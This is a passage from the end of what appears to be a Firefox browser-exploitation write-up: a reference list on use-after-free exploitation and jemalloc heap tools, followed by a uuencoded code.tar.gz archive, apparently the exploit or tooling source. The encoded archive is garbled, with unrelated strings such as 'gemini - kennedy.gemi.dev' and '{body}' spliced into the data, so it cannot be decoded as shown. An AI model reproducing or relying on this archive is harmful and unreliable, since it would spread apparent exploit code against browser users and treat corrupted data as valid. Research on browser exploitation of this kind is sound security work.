Exploitation of Mozilla Firefox Use-After-Free Vulnerability (Pwn2Own 2014) - http://www.vupen.com/blog/ 20140520.Advanced_Exploitation_Firefox_UaF_Pwn2Own_2014.php [REN] XSS and Beyond - https://www.owasp.org/images/c/c3/20140617-XSS_and_beyond-Rene.pdf [F32] Firefox Release 32.0 - https://www.mozilla.org/en-US/firefox/32.0/releasenotes/ [JSR] JSAPI User Guide - https://developer.mozilla.org/en-US/docs/Mozilla/Projects/ SpiderMonkey/JSAPI_User_Guide [PSJ] Pseudomonarchia jemallocum - http://www.phrack.org/issues/68/10.html [UNJ] unmask_jemalloc - https://github.com/argp/unmask_jemalloc [SHD] shadow - https://github.com/CENSUS/shadow [FSJ] Heap Feng Shui in JavaScript - http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html --[ 8 - Source code begin 664 code.tar.gz M'XL("(*@)U8"`V-O9&4N=&%R`.P\:W?;MI+YNOP5J.[=M:18%/5.Y{body}lt;W3=+4 MY]1.3IWTGAY;1X5(2&+,5PG2DKK;_[XS`$B">OC1..YVUW0B"20P&,P+,P.` M=NBPYK.O>UEP#08]_&X->I;^G5W/6NU^JS5H6U:W]<QJ6=V.]8STGCW"E?*$ MQH0\H_$LNJG>;<__II>-_*?QQ$UB&J\:'J-7YCSQO8?F?[_?W<%_^-G-^`]_ M5@?XWVUW.\^(]<3_KWX=(K./C<,YHPY\<3MVH^38,)I-\OZGO1]_>?O#M^3C MG)'S.77"!0FO64R^=V,V#9=8!ZGRG[-X3NTK,V")84S3P$[<,"!>.*OZC',Z M8S7COPP"%]2/V6\IM.9#,HG#!6>QZ82^N7`#`&XZJ1^9+*`3CSFD<4R2.&6B MH8)#GA^1RF50.1`WM49Y1P?&'QH*2>S.9BP>S^QJAL(U\'IF4W)gemini - kennedy.gemi.dev K8@K^*8 MKJK0*G_&DQB>5507>"<:!Z`B<-,)[=1G06+:,:,)>^LQ+%4K4:4F:XN/O-8D M=%8FC2(6.*_GKN=4):"LLVD85Q&\"Y"M`_@Z)&#\\-?SYS510R*,ET+JU;9+ M89I5`PJ=TF1N3KT0.A`_8PIT\JLU4B?]?K]6U)<(F6X0L/B'CZ<_0A_J5L*6 MR>LP2&`<Y#G"+1H!\2[<$53-[_XA!Q2S)(T#?%YFPIPMQTDXGJP2QJM0T#DA M;@*LB]%NJD`3TV/!+)EC&<;77B>/@&)&*9]7(QIS=@)<P58\G0"257<?FNR3 M5K]6VX:P:"U0!O&<QJ%/YDD2#9O-Q6)ATIC.Z8J:=N@W;1I<4RX5I-,L!B@` MX!"=,`7)K8IR:90NQ4&VK':G$*L`[DC$U>`*{body}lt;R>7%@C\A_$6KZPBH=LG_B: MM+G3*@`Z(MUUFJ#`5JLE,(-IC1P>DE8-6*J>M$;D^)@,-)GP\\Y;6:N,:`*L MQ]F=>^IN]-2]J2=K6F*/+@IM*0K!5NU`0#X(M[5L61;T*(&ZHQ(T(!1#0@E> MU$D;ZK76`4$=OY:7BON:L%BD2:QB#'_DOXRUBE5.OB6-%AF2YT#PO-$?A:4! M(YAZ"3F2=(7:51_J"8V-PD6UO4]Z[9I`D]1%'?T1(PTQE!ITL*U9^0Y(7ENW M40I'@:)"8ZCP^1)%D/)?*'N0*0$0UN5G]`SNK--<H7)A+:?3?7+7SY$NDX4B M'!^1L]2?P*3RX?WYR<>3G]^.3\Z^/SD[^?C+[GX'$J:%G]8MGSOZ/<S[/7O[ M[M4=^YU^>;]'(-#6[AZL.\'>TD/>2V:.8(@@^M\*6P2BHMDC{body}amp;`I:CC=2Z$/ MH`8P&H7>[+_LM+J#U@NKUWOYLMO3[%]$2C-54ENW<=DP(^B[(21XB^&QRO9D M70WJ@'E]ERK<:-$BU+S<8.^&7]5O):"540T^6K4-ANDJ#\P!JF_^&VDZJIN_ M`9J_8YP0&PUWG0Q8:5DF)EH$80TU<RO[EE.W#R@N,XM9'N%RJQRHQH,106-? ME)X#BWLU\M\9']03,.@P3X/!E69=3@:E&I:$Q.2D@#[&P7J/0HHUH[0YW\(< M7YWH$RVZ&CZ-E$TM2&0-2<6J[.?E%I1;6KD-Y;96[D"YHY6[4.YJY1Z4>UJY M#^6^5AY`>:"57T#YA59^">671;F%^%&MC/A-M#+B9VMEQ,_1RH@?T\J(W[0B M&:G[MJTUUY:WU8U=OE=UHKP3$"A0FZV^:0MYK2A_,4$!0YZ.#FZJ\>_@C8UV MSO8;O0(FD\('W()#^U8<VG?`(;.<'%29MT9EJ>/7LW$4%H$S)&M_F`P:+?Z MB&:OC]Y%O]?K]`OR1A!=C+G[.QJ4?M_*="VO8(.+35WPOK>&(^5(HO#2,0BZ MJ(\(QJV)&\P.)_&Q8BH:X=(SDD#H)O`@X53"?S_YS.R$A.*+5VZ(1PK\MU(] MQUX:E<T!Z&`_2["?`6Q'?`M''JG8L<`2O4#JM;O6#N]+[^KB\TC<`WC+;J_; MA[_>P0VUT9"/9.U!]P7\#=;]-\7^G'@BOD/BS4,/PA,,)(&*GYE//2^T08IH ME),-7:40IBP(BU=$/*="7*8Q8R19A-H]3I)0PF82\IWHCH3JK)/>81Y+6%4? MJ&;JUQF3>M[.AVG@L"D4'8UGF]`%#;?WD)%W9R]9!:VG+5/CS!Z#^D$U/68_ M*/Q>FM"@796UE"G(6)#S+0JYBX3.Y/[\YW<G/IUED3JY3CW`"+,+&](/;,Q: MBZ:;5?\\LP#V.B8N)U3.O@ULZ:A.=C"I8,S6#,39>;6B>>J+CAG&LR8F$YI@ MM"K[I.)BWQ5=+;<Q$/3WDQLDG;;4XG[W%CWN=^$[,PLWZJSH`O46M;#7Z@W@ MKZ5KH4XK)0""#9AM`I=F028I:".+&7$#U"A=J[:J,-;GKI]Z4AM]S."$0:4D M47;("QE?DRG`(XSW[X`+\)_9[M2U-90@/#-GYC`#5!"BU>_W1R8/?38N!&SL MLV0>.M4-<=XZANFTHJ>KH@4HU-@%U5I*;WA7Z'R[F(*KK8M=-@4?DYYE[>*Q M0D'EIX3M#.,XC1(0:8I2!*B`WA,*(H\X@E\"LN"6S34.6`*IE1\HR#C?:7/< MAC)L3H^RH2:]"II&JC4<)J!05SOF!92%-&F$T\8$!\/!3Z!._FB9>F1".2.8 M.2\8<TT]]$^5\I9<UO4PN:"ZAN+HHF.-:K4UA^$J"!?!&+H<4\>)A3JUVBV' M32CH)"#3;9F6V<IE,F^'N`%DK6&>*%.(@L\N4F2%<TBY%X]!WK@PR^L0&FNX M%.WPCB#(D;1PX@*N:_`.RG02XB/N"!&272{body}lt;T_$4<;$+QCF$GDN4H*P/,PG/ M04>#635'/=<A!7EW;K8D,AD>SW-9*W@O';4X]+S<4N_Q#*7]K)YK,G,H'2_T MM;9-0)J5AP95.DW`MDCXF=9H+EHMHY*2I#\G1;UU*5+TEK2^=L&[]7<@*J:I M)*-Y)BA9E+I)XS]%WB2F`0>#Y0M"Q`RMW;74)O27*-C8;'%J3<4`R9W2;*U+ M\Q1D:OR9<R$M6;,<PG,4U9958*7<-"K:$=FJD:PB<`,Y]({body}amp;37C6R.U<4*:$ M47LN32VP4IM,,\[_>2=B8S:U<#;='-5N%^Q"><%3<;WH':S9N/*0,Z`XTHM^ M=P2,<.!';Z0E,Z@SADD"14EI>3M;F8G=!*8XX$66X"\M`N0MGV<MNR^SJ;EH M*@5<%WN57U^#KAKND']$_6@#ZH%1'H:2AQO,RBU#RBA@H:;D(+_6F'HWC`DX M"=[[GIRE9!H7%:O$5!`RI=S`TO9H;9K(;(,LR2E[%R9MS1C(^K?;`M7+FBF0 M/AEW@PV?#&IJG6H>&DQ`9,&(33%/U$AAFD"=W*ZQN;D)I6D1A*%!""U@W,IQ M4UF`0B`J-IW"Y#IAE0.I(I3/$83#_!!=#%"8OY=TW)?*#R011<9#&HR;.S_0 MLS'88C,3PY;4CV#Z`Q^YM+0K8\@\5W-PIT0*1*4NGS/G&R6/T-EA,UL(/VS* ME7'C$%M#$.&%U#FJ;"!Q4#F6L^QA$RN*AKBR_K?8__'3VU=O3M]^U?T_N_=_ M6%;'&JSM_VEU6M;3_H_'N$X(]2$XL[W4P>F>RVT>(K[%Q)8=HH@G+`!7%TT7 M![NW#Z%I0D[(G(*C%H,IO&:.@:;W@VM?@0&;NI@V4SL]'`%&.$LK?Q)Z"-%' M9P+,*#Q-;6FU:6S/P>_;XP9Z029YQX2'Y0M#/30PO\&'S>;,3>;I1*Q"OGY[ M=O[IO"D1-IX]75^@_Y*(S:^I_W?;_P<68-!%_1]T.D_[_QZ;_Z<P7:/R/K;] MM[I]P7^KW>I9/=S_U^GT^D_V_S$NZGE#X]\@_&[$4U(WHY5-QF/XA$B6C<>& M\0_R]OWW3^;U_X7]GSF3L1/#-!R#'#R>_@\Z8//+^M_MMMI/^O\8US\REZ]! MWC!RNN()BUV7DS<0'V?[?`W7CT),:_+L%U_E/Q<TQA4W;AAPTXQ$@"EVO5;W MS+U:WE;Y:0;NZ840[2-N[9U23^2)O\=O(P@#+)S!EV'8'@6',UMS'<^9%U5! M/,W7TGNL#=4:.9N"N8+X+1F/JYQYT]JPV*E:5#=+=?;)WF>&$/?V9:7WIZ>O MSMZ,WW]W_OK33V]K!6@WN`ZOF&Hgemini - kennedy.gemi.dev K`OW-%QDJRT?N3(3(%B;0-S4"8.4>O# M(J^`/BC^&:*;0Q#9U8<=@`!Y(_H",ZAN1G%H@UA@33>8@G"&,:_6+JS1GQNF M'(P"FG>P.6BQK?Q!QXP0'W?([A0?X=:*O;UA:;V+VS$3F9A\BWVV%VY'/:&J MQCHQ<4ACH%<5O<:`^JB_`IG+$A2!-%9-PG$.4?[8)[>SPIZGP15_6&9(F+O8 ML;ZI]VL(HB"(&MKM-*`QT/>!:2!A_B5:*`5'CNGVP<=I\,!#1XB/.W"AB/AI M\LASDZK6#Z@I:$\5GM5P"W-+K+5`2:SQ@.XV[#7MM=,82)<(NMRNPVNU;]!D M06<IE^4V>G&;<M_.PHG[T"Q$B'^=[(KQW$%RV0SWJ#RP\$J@CS/X.TPF4>P& M277O0M)G1%(\BC4D.:+D4.R!%*0YWJO=V%9LII-Y=1T"A`;=M99R?4`;+?0Q MEN0_(@@4]6F[F"NF%"WN,@MQACG*A^6DA/F_Q2G8R4>))KEHV"-RB'L1G$48 M.[>Q\A/X]@T;\[RJO;(B1!B5,/!6]Y,%!<5:=L7QT.YM`K%I<7<8W/87&5S) M($1MC`B+'B]:H_L:Y!O!94S6)%F)8U%UFUU63V^TYELD_Q_EY+U0!,9),L=] M7,@.L4D$)#%+YD/P5P[5:L9&`*3=DCZX=D,XVUI9N47:'>4K:'?$9*65A476 MGRLMUVXIFM6>LEK;\S^1,_DJ:P#W.O_?Q_6_=K???<K__Q7\_QI+P;?E_UO= MSAK_.YWN4_[O4:ZU-5NQF+MK;98\K<W^G]9_J?NF[SSJ^E\;KHZ6_^^A_H,A M>-+_Q[A4]G\XW)W^/[KU,HQ7>'YD']SUA`4.6)`JNM2QR`DZY*!&E!>8[8Q6 MH)NE0U4&6T9>Z";RO`-?N!!^T=A?D:O`G3+3,.IUB6V]3N:4DPDF$A/&<=_T M`HR/W/X7`KR%&\P@.*N3?XEWA'#RPFR1Y8M^H]_5;@[(^0=Q6_C_^>,+>/[F MNW>D;W;,EWW+,L6T-#*JF:'SN1.8OFO'(0^GB3!X+&BDO"G?2,*;<QH["_!8 MF_/YBUZ[T^^9E$?+FH%=0=09V#D!<`<Q[OD#BF/_&!1E[KFWJB$RT>K*R:EG M`4KPWQKEN.!C$W48O/*E0"5F'J/@KC>O7;9H]E'1.@CIE`8KXKA3"!W1>\\0 MR*K+33V"?QR,/>"!)!T:%YV6.3"M!N.Q[!4ZG2:1Z8>_NYY'Q5FC*)TT]?)4 M<3='1<(`$,W:/D#LX2F%+X`FVDM0_2\$U2]`O8"?O2\`)=I+4"]-ZPL`06L! MIFM]"1ALW:RAUIR%"030)U.R"E,"D?N5U!::RT"NG)XC#CO1@"!A2+:E%OKY M#.H6T\">?U,WC),`Q-:3YY*,AG:!'4C`E8AY(OH*F/0E.$3F$5%J)?J^.)6H MHT\AMX5Q%@,:FI8Y#*0PC%A<&C8+FDYH\^8GCCO>`;FQ@C26<,82#HS[%T`` M(NLPQ\*56.]2*>.^.F7B>Y$""(&CE:!289T,!PAK)V&\$F00^^1L+PR8VI#] MSDU^2">",J'/"*Z9DBJ>&2/UU\/+R\2/+B_KR#JUQTX,@SIH5X$U*B62T1-S M2B[UW-^5V13[5@E-C`I-E\(D368-K&3:OE,QR0>/@OUQL8K>G;"!\O2*QBBC M+@&8;"F2.95__O/XDgemini - kennedy.gemi.dev K;+0.NPX8?^\&0..5S#P){body}amp;Z08\IYRLI&.D\@@+7^ M]==?C6]P=RT1#(A6CO$-D-;.4)34O;S$IVJ;`L%D@V'D&:.=4UA>X[IE6A.M M138!-?)S?`5&>25"L@6C]03+4*QK`0^F(9X3%D<3KZGK":,NFY3!R#S&+6#R M65'6+D.(TX`<JL-'QSL1(:@?@`/4WFC.,9/'1W=!`&OK[6^^&O9P,\EW8_-& M.3D\E,VR':,SX'%`BN<;\.0JP";87</!VFODV)*BSMLC._/QJ(K*@5E'K0RU M2)A.?^,R9RJ@JOL(`!V>M8'FF=6O2?%R\]^&Y+<4(L`,LZJ'^WP=EH`,\]H] M6;>30O=$:IH3"ND#D2F>NY/0Y<'Y6IG:@LT;*@$\='GDT=6:5JK!"=AXNDPV M*T,4W+_(%K5'9:DJ@\ME2V"!)ETN<%<=-J6IE]2('`,K]R!2H%OD5M[/@?(D M3NTD!0RE0?4A0(\U6BK[=HOU"E(`"I/1%C51),HT19Q:C%QP`T[#X(JMR+O7 M66L=H)JS+QK7GYWE2,K!\0;-<Q]7U-XB&/>0B>LAD<ZQL`,91.%+7`L7^AZP M/BM8&11!67W4]X#E*%AOWI]F\.[1>JE:!V'0*)%]"ZB(:C)^<2@/SAR/\`5@ M(;CUT@?1CH^":Z4.UV2B*([XJWO6$M\%6,!_QP*8-7?(3^8K;<I/F"81A`U9 MA4"\!4MOBA/TMJ$/`5V8H\5C]?)&X0`8RDUUPF`O`3.@,E"3\)J5*A>.E8/; MQM"/0E=C1A9Q")\'-</X)(`JO_1?Z*IA&^F$T-T3?VZ4I1^;N#[;UWP[J:'< M0`'/U10ZIPY-*+I5>"Z:(\9`%^%3`9)<YLOP/"OYL$KF0*JHR+N9QGDZX>RW M%*UXQ@#E?`.-M)K"A\5S?:!*B$?VIHN\?Q1E0QH)0F<4?"_X!S,*NO4A!,QD M2M$],C6"(+YR:4>=:$WP-0-;QH8AMPVQP0S#>VUMCBP`E)'SPZ>.Y$?IU2=0 M73Q5;U1`3Y;,:#Q!5MIXLEJ<[:KM9S Q/K*2`+)2T=&&M)$EH8MDPT-=805 M'Y7("_2-Q"9$Q#I3K<;FE<=*'Y'N4P"6QB(VST/R+'<@(G4,A3Y*QU_`U##% MH8,4(%&*]4_LO:3E6!,-1[;`ADD3HS#Y->1#+IYH,+DI47.%>$Q33]`>N]F+ MD;8K(1`A48D4`RHUQ"GSAG@?S22=09P/6&2MR(*"R{body}amp;#_.4G;@"U&1>OOU&' MP]4+4*":@>_`$"<+F^K$.L8H<M;`:*-"RH$/GLR<ND@.PE&:R(<WW^5RFR:N MYR9@^T2*2-`0'*`Z!!$_@8<+B@385/`E`)$SJ2".,S11&7\WM4C*L*:H0`2! MMQN(PTD5`:=`L`KBC/>:T{body}gt;C_O/;G\Y/WI_5L3<SNO(J$-Y]![-7+%QH\4J9 M`D60\2MF<!2.7.S1/T'5@K%4?.ZX]*6%KR^H'.C+V#@F?[4M*^5J(34Y`30= M.1X1A!EU@,ZOXTZ;5"`<^A"'LYAB<(,Y^RI`J%WB'@-H*6Y=GF:Y*7QK+V!T M^?/K2QTGD%MU_I6\<GP\_8A'60'-".X"4\E:[(S4`\G&T[2\DI{body}gt;9IW4P_/J M$G/C(G(C+2_E1A#!1=1T0XS986`@5$U5%Z@IWC%=$QJ0H#`ZH5&'-GF0GG57 MEQ*6F[`92S2IR*G_5R49C#>,N[,L"8(!NPK'P52`07+$4R'>:>!3?C7.S"H( MD4K""#K2F,BZ8B3*6B%5DSDJKH^6W&&@OV`[N:`:>%D)OC8!!$".>9^\`^W" M1S_^^.8[$-^3//^*#$Q"&#^HL*8@P@J<_$][W]K61G(LG,_Z%;/X(9*,$!)7 M+[[L(3:[RSDV]C%X+\%{body}amp;:0!QI8T6LW(0.*\O_VMJKY?YB+`WLV)R,8P,]W5 MU=75U=5=U57\8{body}amp;<R'+>7&-`V8DDEX1IF\D[M7O'.^1CBHR#!R-"P4,U@_>& M[OIS(]*4UL44PQ%A]](E=H)2NTC"(4`"P73V*4YF*9X>`!7XR<=0]ANHB6[E M;){body}lt;4/@=.G819P'8]8<]4&_B<51CW(D8DZ+U97YJM>"6/[)/RM%B2O&686F] M&,XB4%\(]HK>W$K@O/*_HZJ?`W6=`Q[8J^'0?:>?IWR^:ZOLYV^>+GO?:74^ M>[Y[WVDCNN(9E*KO_"-Z"WQT1V%_D163;EHW`@\AM1\)<,6LWL=U:9A<@%K0 MD*P47HP36+C[S0I<^5G]<[^EW:X(OEAQ2)!+,=$*__+9@OA,?."V*RKSQ&CL M,ZD7"O2*5=-MWF[3P<[3,[.FW<'/!N__34V"O[D\\)G^YZGY.9#SU,9JQ9UY M`LR*S?4KHNZ*\0'_^"P61Q>;SY[Q^>SYTXO-"C0JP:S85"L%HPUEH.!\5OL2 M!SFK5^+0X[,/3A$^P1SXJ`']6YG$LFM^#O0_;E5SQ9)N*Y5K!GE<;M=<X?!7 M;(8R_UAQ:P;5VOQLUU2\J]I<J50S\+3YN:2FWBFK36\_*ZXF=\3J5C5MU4*I M2WMO#M+?`Z.2FI]\-3]9-6U=Y+-'%_F<IXNLK#YC:A#3"GE!K@99[T@-$N]J M_@7M-KK0K16B6VA%&LXKGAZL>)8Q`]7/!>U\GJ^@5_-:N9U6YE?0[@G;4A4= M-L6?8MPBG87]CS"COA#!'#7/U"=6W+4>';#EXH$LK9[(Q#T?W"^[4?H^BH8\ M*'*")R(?:;O&#F,G,]CEX48H2K/TF]K"7_#W\O]CBN#]WOVOX/_;W=C9LOW_ MMCM;"_^_/\S]_[DN[3,NRKL;U0H^XHDPWCYJ!?S*,/[)P^1W6FAGZ#&;GK@< MHU]#HWLJ'`3^,C]P@/C+_,#!D]71^&"TIAYT[--LJBYVJ=HLC&J]<[W<V;P. M&O#OH!DLI^^SY;0>+`<-V6XKL/]$Q%L*8_,NJ.KA-P">:&I=1Q+Y>P`#MZ;> M(795R;K2S6,JUX,&*[8;W$1ILUYT"]RM,DZ@1BT7(4:XZ#<YZ!1H4;N%)M,D MJ5%[R@JQ)[*<J:$6W_"IJ3?!(PFFBKNB&[<9@L3QP0*+"T!^^<]#)'Q5^8^Q M_HSX+R3_M[87\9_^S>*_\.<^OU$2"LNU^("6=/'W(,PB_1F=*&6Y:#0AAYGB M@#+B($@\"S<5B2&N0K4:-^RAI";?OWKEU>Q!<#%,SN!]#:/%8%HAV69;_-%H MUGB[/5Z$/[;Y;RA`]NJ!O.@Y.+L0VTQ<^6J,2#TR8=(+C$+,C=0];M^4[X6C M!;V`CMPP4<?[#!L"ZU&T!(,![3*Y:;0/99CDM]!8RT:3-=9O-(?6:]%U/YID MP0&!WI].DREK6N*@-8R[#]\[#S8N1EA0+4866LOI&E]=!9>T+Z(,_Q[$TT:3 M1_;A.*N#<)-TZ,\*M7K:VX99UB4_K.OO)X.S]^_16KR<"C-QW;IT"X@EG&<! M(5S)Y'-XEN+O1H\ZT^LU`5L-`X9`'I4=2FN4Q9U?WOL<BKM4Q\)U\S9V"4-( M=:gemini - kennedy.gemi.dev 9=^M[HB*,+^G64IZBNXKC)M:]%`@WV)RQ<9'0L\T;*!PB*Y9)(T'K)4@ M)"$#`GTTJ:%^0&][\EV#:P897>*&MVW\AX]]BI&#A5QJRS\0-P4@2YMM4'+. MJ5Y]^=?5Y='J\B!8_G%W^=7N\A%'T>ZR4`BS)N$*<H{body}lt;MB.>5X@D!P^Y3RY" M7&Y2#]@HL`O2#'LFE7@]_8TV8B)[7B"X+TZ'\?AC0RO2=-7#G*%:3EG"&C8K MXGZ`H*A'.C@MUH(V,CHGH0Q,0)#KU6#&7HF19:]90E_6NY:JVS1!M?O#A.Z0 M`ST'D:)H`QW(FQ[",H<'#VFQPO]5TDX%:>4*QFE,G:Y"6_+'UZAID!%GIG3( MBC.B*E;HL<(B/@JNJB:!=7+JKVFEU)-<:D3&PF5$UD>TYNYEXO-`+,9\-;9$ ME8P-QF2*Z8L+6XWS^&(V93XZR81E'R).PH(]_L;/2_3J08#N'$#047@1_@,E M+X793(/&($Y9UFM,'<:TKJ:[O$(+/:BJ+6&?PN$,!!'_4-<7$5^U3LT/-",\ M_'#9MP+0LG(>].$%+],;I\.$A.][>RFR6[7K%+3O`=]1DY3W';;2'617#6'] ME0,#/ZIF^+KW:N^'O;\>'.X?B1@@HA7WN\V:SN(-2/6F\/],)`A$(N"?R7FC MSC[V/_8R:]$[B\?8G=1?37VMNTX`Q@N.,!2F9CBL]U[KOH4IIG2VL'@8<'G= M'M-]#$R`JIUIV(/&I@(LJ.-!B+>B,')_'(XS'X9'QWN'+_9>OC[<-V@NR<H& MS4L-\<VB!7^-?2BJ1M_KS9J%%-?_*Q'.1`[HYC:=0SDA>YC+X]"\9#`=L8MW M2O+P8@62QV`_T2*_B\2ZGR4]7*&LJ<C+U)O^Z9>SJG&'`M'`.,E8'K!Z_D+F M19!(4H@>!0'+0>Y!\,LOOZ"?>80)I*:1$*S2I;:%V4-&L/]'%SCI=8?NFJ-D M&FEPC+$7W)H*![3S&3K'&>=PN&_E_GD44&@03D&AK0?D?FQ]@P\;Z]8!GR!` M5DZ!3">!73\MKY\6U?^MO/YO1?5Y=;,[*Q9Z*V9S!>>02M*^^/GUVQ>]HX._ M[B,--W>=^6=AP+.R*M!YH!Z5@]H2BSFQ%ZD$5Z$""[1D3Z!-7W8QZ1]3+VG M2X#\HE@R1>=C\F]D7MPUC;]L[M3TMC8!{body}lt;*FB^F4USL>#87F6XZ,gemini - kennedy.gemi.dev &4<D4$ M;XJ5.]G%)#(GIS)C51`CNT_1^[_1:5DB1#MP%;&E&"K:B0F]P*IQ"^!J<M59 M&0T0;9Z)QQ-0U.3)"'/=1->3*3U177I$73IN:OSI6XURY%@_'*/L0M`SRHW% M:+,\.*TW&=S<':F6-S/XX"4=LE/31&,\94J:<=8_&_?2?[BOHPO!#^X'F;7/ M_!2-96*CCK6,VF/`"#69\KG/R"G:5'2%WKB*AH9:[ACA/TVG:B44.KQ[%;"0 M="C#PR23AT'T"0\CBE=FPC2=C7#;4Z<-G*/-/(;5Q0.##32_DC[@-\")WT!4 M1/V/E'<8LZ]D2=+.DT4E6I&7=*AUH&APA_%N8SA'RV.\QE#4+)L`]]@BS9ZR MOHH9-E>[%:?,;`SBK(Q562$^-=G3K<B@YK<.<H7WT*T`BR!OS=SNY`0KS%5T M#=58=KS!8+<D7BV.2`NMO.\+/8FQTX('FRUM,K>01PB`L8CX,`8F<!8@?$E" MN*5WK!Q0_C(TQW*$7(EP3'9HEK3.ED%<+8091,/+QP6.VJ2$SSB1M[39+<<X MU:_7WR!]T<[*+CYA:1K""HSA&?[FO8W.?9$G3[+?HBOWT8V*77"J)>,L'NLR M_P%M8)C*!:L*JIW#.*4TM#R"A+5^L+=V:_062*:41CZ+^>QUC_/J]?H/=)L[ M1$Y127&%W3WT$%-DT*US_P&/*CJ.KLK&@A=ILX@E)/`(2W5X:`AH45Q,02Y> M*1<CNR[;,""VW-T!Z[_IJN%9CKT'BQ*V6E)]34OL5G($36,[>.ABUJR"K8Y& M1-XS)@E7#"3]]9CLZ-VY%UOWTHLLR4#&"GEV%WQV<O'AW'=P>&S@DZNT`D_X MT7L64"IL/`'P%WCB78'Y/,(IEW/&X=VZ^"^')[3<!^BP].B:C`QBUFBJN-YB MS3A&H1TKWLKG^U@CLHJF_SXDS]F'QJF>=S*B.VB%\1/\^3Y/&]9V\"N^,2L< MQMM0E/Q8M7`GY53-Z;(ZI_86>**S1#$(M()AGD;"C\EB7J;FSF!K>R_.$4JK M=LP=U5R3K?'MK2:]1AH=`<]TTC^;D\EA:8KLP&DH-6:LKK1GT0D/=)Z=%G8R M=*/W+":30\,_K=>"1TU,OUVS:LE]N/F:^Q369>=U*SUWU]`[9H&SE=#KJ#_+ MH@8;++VL4 =.:5Q;[/F:8EA6`(=:5+4A{body}amp;\EM4/T2X=TEG])^>0.0A@:.%_ M3!+PG9%!$D4"T"1@?AHN'GG<(M]7X"#C?&J(W_"(2@?,@N;C)WEH*'Z&S&<$ M?YW@/VV,\<#V.4S]ZZ48N@,C"C1S%UT,P)]393=04.OOQ_7F:2VO?:#Z!./9 M4;D6=+M9H616M63`"]H';)S,*ZQ\*;?6]$92)FMR".T4I=\GZ[NG_B&CSU][ M='*J$.D*&OOW&,6B":=-+&U=D-_DW^XJHV]EV!O<(#KKD'TL@G+,:>FD<]KT M6<UT:.T^11/(>I-I1*$9*"-]PUZUC2H^!(R3'4M]:K:A\C2>-.HOZW.8!S&+ M]$!J4A1CB8+>D2+%B"5T*1<7T*X<G'4A74(#S^CA*BTVPGKMIM?TT6WYU??F M;KD](Y<38CK/\H]U?%IBNJ@(O:,1R:S2=A2@E:`1@[+FV?55,=OD$M\O-GQL MZ4&P-0<;5B-5`7L4L(@)HRE67J9@LBK*,&?OOC":"45IY&%OXJG4M#5#W7#( M<IOD>D^Y[FEJW1$:/8O$QN*$741HH6"&R*3?GTWBB*GVS*PX9B6>>HR-ST#/ M7A<@N6X-($GEA3G!#F58^5$XZ67X<I#,T*<3IW2:HX-86MP#MKD$#L"P.>DD MBC#\V41LN6K*^27#5N0>Q'4B8I_(@R;Y!\91^<9!$1<#Q+_>!-W<V7MXG,;F M:77>UIS!THDGQFH0G-U0I$H;N#:&^#Q@M9ZB?XZ.LJ=A;4M2P1!>M@TA.F#C MO?-11D[EUF4B>T%E%43I7W[YI>YWUINOU:OY6Y5>>1'P>8`QGK,`XQ:A_1TC MHQ&CP[!$8?^2,T(`LW]Z@W%(![PVGG,DLS0X'X87*G8M'9*DDV1,:QV*!5I. ML(S0%QIDR>^N-]'MQ[.-QU'!S3CF*L3X2>&-;JC'UZZ9GLWR>&Q,YM2@*IJT MZ34_5$7Q:@E*YX39]3VO,#KVV<(5!F\-D(8A'A[UZ2YP^"F)!^CU7<>XL\/P M)BVRJBENS]U:T?;*D&P/G4G24IS3$K1`3:+F>HD4BRY),=G`D)*;EB&`XF"S M`$J5[:Q#BX;6$]>X[B<C)<0SZLOV6V:OFC7'RN2;85I+^G(ZO]<%.<KR.4=> MQXRUM7,VO;NECAAB0V4<C#!+*L\/1UM-54&*TQ.5RRTV72=*=F(<`FPP3F@$ MKUI!=[M)M0976"=_(_4E=FZ[IR(1GK83XP0&%!FVH'#:.B_B;JPH3=\N`4M1 MVXR_FTRA-5>B%?1N/-7M5MDTQ/LO3#ZPP@9UX3D:CA`7]M$D,).X3T6I/VOB MM69YF_*BZ#TUBL)QJOEFH0V4HE-RK2S`^)<BEAVN`!8H%/TLI%T_FX6DT<DH MTI:(5*VZ(H-/<8G[_].0M\MJ%A?TO4.I0@I:HYG3SV`#:#:`12PCW6\83B]X M=Q];_FF&W<X"QH)E8@!`G'^DS>("R//_00/1-1$MNH9Q[&<:/$+8%::2'ANY M]%"3&M@%MR&^3N?0QTM+JT\X6C'S2>7Q::/!=T'Z$6-/9K5R0[I<&WVV'T(; M00/#GDRYY0+Y>*HMR;APG[J`E=%3V5Z5W;7I]=Z0==@VP6_VGX1I.H>7@(:E MW/0DDYOV((HF^(?8I.I^ROHFQPA'7[31J;3)R?$_1$ECV+*;V@[<];ESBH.8 M(X-[TSK:=%SO.%=Z*Y]\.&U+`U6M;"Q-.[HUGE7&TN"\XG$L0A?GF'<\U7`: ML:UY%@LU;B(YY]Q[4DVUY>G7R4W!<72UU%I#]YPF259-,9IF9"B#\CW+VQ#X M\>)R+BBL1L]VO!IB]-AU;@`ZL8YH389E$"QN<S0RUIH"JWFPFN><LH28HB7. M8G.Y[W,%C/$"6R.GX2"^#A"[`A]^;BDF-T;DZ*NHKH5/3L88Z[BWO=G2O9Z9 MIJ<EF]4O?C9$_/?!1$36;M[OIO5WV+'>?;NJ66OEL`0SLDZ3(VK_([_0"G\A M8S9P$N`1(%-DKR[Q2B^*1"JA\61CG`RB5H#_<I9O8LP4+-6>)!-MX>T#C{body}amp;O M/\Z$/[KBR!.MNM*<YR*2.R^PG]HVA3?>X@1B*&N'?]4V;JP0*1<L+S`5!";U M;O!4A]7?:\%V;1[,&7UE_68Y!WBV4I2$Q+0_TB3W[TNPM+[!*5COOK#E:-<R M`%$"%NXOQC=08H/BTM_K;BO4QDCE?&=/M-'R;$O][G\FF(Y7TQ+?\QUE'^#Y MT3EQ8LKV").$HNFG=,S!]@IT:R;UUH_/]8F'K,C_6O7M'G(9SKCYX%/K"QWN M2\DMZ26/CN9W\Z\T(-Z&.K6@`!CH$BJ?>FZY^%R'B8IZS+8;<M$VM*?38O1D MJWXO?*U15K(8FJ$%B:7=\H&DCXK155^*")VK[=^ZY3RWY0>4S$:;"GCS#K3/ M:(II.OF5.;5(S8<I6XHX=HH&^KQ9$3<HD]D4$QI2PL/+!%;,%EW;.)LF'R-* MBS*)HWZD*;8-KW_KFRH)F7*<6=VK[35YS7Q@<JJMB@EW,W][[79;#S6A1[C0 MFE`WTK5W\JZH]D[<#=->R<V9_E)H_GI5W5K5M/I'<T*[F,^B6/@[K'64U<_O M((X8Y@)JJ%%ZP9-ZL;0[[/R=Y]%1X3MO>*@C.5H<A_?CT@2".8$]>.@D'M^# 